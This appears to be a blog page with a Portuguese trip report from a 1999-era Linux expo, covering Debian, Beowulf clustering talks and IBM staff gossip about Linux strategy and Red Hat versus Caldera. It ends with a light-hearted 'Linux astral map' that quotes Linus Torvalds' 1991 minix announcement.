No stand da Debian havia um Mapa-Mundi com alfinetes coloridos espetados em todos os lugares onde haviam contribuintes. Era lindo de se ver. No Brasil havia só um alfinete verde na região de São Paulo. Fui falar com um dos cara-de-hacker que estava lá. Eu disse que era do Brasil e que conhecia o responsável por aquele alfinete (ouviu essa, Macan?). Perguntei se o Debian tinha consciência de que toda a Expo era graças ao mundo comercial do Linux. Ele disse: Sim, eu sei, mas estamos no mesmo barco. Perguntei qual era o objetivo de seu projeto: Well, to have fun! A resposta dele me deu vontade não de usar o Debian, mas de contribuir para ele.

No resto da tarde aconteceram palestras sobre Beowulf e ExtremeLinux(.org vale a pena visitar só prá ver o logo). Um cara da NASA mostrou um novo projeto em que está trabalhando, o BPROC, que permite um gerenciamento de processos, numa abordagem de cluster. Você pode fazer algo do tipo bproc_execv(node, path). Interessante…

No fim da tarde, reencontrei a garota da IBM que me colocou na faixa na Expo. Ela me convidou para uma festinha a noite na casa dela. Isso foi realmente interessante. Vejam o que aconteceu:
Lá conheci um cara da FSF (gnu.org), Tim Ney, um tipo de relações públicas. Ele trabalha cercadamente com o Richard Stallman. Disse que ele não “trabalha” mais para o MIT pq tudo que ele desenvolve no MIT deve ser propriedade do MIT, e isso é anti-FSF. Mas o MIT ainda o mantém, pois afinal ele é o Richard Stallman, que continua dormindo em sua sala de trabalho. Conversamos sobre o projeto GNU, futuro, passado, filosofia etc. Ele achou impressionante ver as IBMs, HPs, Silicons rodando o GNOME em seus computadores. Quem diria… Lamentei também o exesso de liberdade do projeto, tomando como exemplo a falta de compatibilidade entre as versões da LIBC. Mas é a vida…

Ainda na festa, havia também um pessoal da IBM que eram os expositores da Expo. Não entendi exatamente a topologia e hierarquia, mas 2 deles eram o suporte pre-vendas do Linux e outro fazia parte do PDT (Product Development Team) Linux. Compreendi que eles são o nome ‘Linux’ dentro da IBM. Estavam discutindo que vários gerentes estavam brigando para assumir isto. Todos querem dar uma mordida. Estavam todos muito empolgados e neste frenezi, um deles contou que participou de uma reunião telefônica entre vários grupos e um chefão. O chefão queria saber o que estava acontecendo na IBM. Ouviu falar que o grupo S/390 (mainframe) já tinha o Linux portado para esta plataforma. O grupo AIX, especificamente SP (multiprocessamento e clusters), estava contribuindo para o kernel SMP do Linux; eles inclusive já tinham boa parte do gerenciamento distribuido portado, como o dsh (distributed shell) e outros. O grupo Tivoli já tinha versões Alphas rodando em seus laboratórios, a Lotus já tem o Notes rodando lá dentro, etc, etc. Há algum plano com datas e objetivos? Quem pediu? Quem está gerenciando isto? Por que foi feito? A resposta de cada grupo era “empolgação”.

A Julie, dona da festa, é a responsável por marketing de NetFinity, e por consquência Linux. Reclamou da RedHat. Disse que são muito arrogantes e não tem muito conteúdo. Estão construindo uma imagem. Os outros tb questionaram o modelo de negócios deles. Do que eles vivem? O objetivo deles não é dinheiro e por isso vão acabar quebrando. Eles não estão dando o suporte que as grandes estão precisando. O DB2 foi construido para rodar em RH5.2 e parece não rodar bem no 6.0 por problemas de LIBG++. A RedHat não tem o menor intresse em manter a compatibilidade, e isso chateia. Por outro lado, Caldera responde muito bem a estas requisições. Eles parecem ter uma postura mais comercial, e menos hacker. A IBM parece estar tendendo para o Caldera OpenLinux.
Eu disse que acreditava que dentro de 2 anos a IBM iria lançar o IBM Linux. Os caras concordaram.

Foi muito importante eu ter ido a esta festa. Deu-me uma melhor visão da penetração mercadológica do Linux. As conversas foram impressionantes!

Bom, essa foi a minha visão de todo este eufórico final-de-semana. Comentários?

Boa Sorte e Abraços a todos,
Avi
___ _ _ ___ __ _ __ _ _ __ _ _ ___ __ _ __ ___ ___ __ ____ ____ _
Avi Alkalay <avi at br dot ibm dot com> – IT Specialist
Managed Internet & Intranet Services of IBM Global Services – Brazil
Tel: +55 11 3050-#### / Fax: +55 11 3050-**** / Tie-line: 842-%%%%

Linux Astral Map

This is Linux atral map, which defines (for who believe) Linux’s personality and future. It was made based on the time the Linux OS was born, took from the e-mail Linus Torvalds sent releasing the first Linux version.

From: torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds)
Newsgroup: comp.os.minix
Subject: What would you like to see most in minix?
Summary: small poll for my new operating system
Message-ID: 1991 Aug 25, 20578.9541@klaava.Helsinki.FI
Date: 25 Aug 91 20:57:08 GMT
Organization: University of Helsinki.

Hello everybody out there using minix-

I’m doing a (free) operating system (just a hobby, won’t be big and professional like gnu) for 386(486) AT clones. This has been brewing since april, and is starting to get ready. I’d like any feedback on things people like/dislike in minix; as my OS resembles it somewhat (same physical layout of the file-sytem due to practical reasons) among other things.

I’ve currently ported bash (1.08) an gcc (1.40), and things seem to work.
This implies that i’ll get something practical within a few months, and I’d like to know what features most people want. Any suggestions are welcome, but I won’t promise I’ll implement them 🙂

Linux Torvalds torvalds@kruuna.helsinki.fi

The astrologist who made the interpretation said many things about Linux “personality”. Some of them:

  • He’ll have a lot of money
  • He’ll receive many many help from many many people
  • He has a kind of a funny personality, like a child (remembers the Tux logo…)
  • He has a very speial personality, something you don’t find everyday